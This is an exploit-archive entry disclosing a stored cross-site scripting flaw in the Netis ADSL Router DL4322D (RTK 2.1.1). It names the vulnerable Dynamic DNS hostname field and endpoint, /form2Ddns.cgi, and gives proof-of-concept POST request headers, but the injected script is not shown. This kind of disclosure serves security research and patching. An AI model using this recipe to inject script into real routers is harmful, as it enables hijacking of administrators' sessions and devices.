Netis ADSL Router DL4322D RTK 2.1.1 Cross Site Scripting

Netis ADSL Router DL4322D RTK version 2.1.1 suffers from a cross site scripting vulnerability.

MD5 | 12aae5ac0de569dbe6de71140188df41

# Exploit Title: Netis ADSL Router DL4322D RTK 2.1.1 - Cross-Site Scripting
# Author: Cakes
# Discovery Date: 2018-09-16
# Vendor Homepage:
# Software Link:
# Tested Version: RTK 2.1.1
# Tested on OS: Kali Linux
# CVE: N/A

# Description:
# Improper input validation on the router web interface allows attackers add a persistent
# Cross-Site scripting attack on the Dynamic DNS hostname field. Simply intercept a renaming
# request and add in the XSS

# Poc

POST /form2Ddns.cgi HTTP/1.1
Host: Target
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://Target/ddns.htm?v=1537192256000
Cookie: SessionID=
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 119


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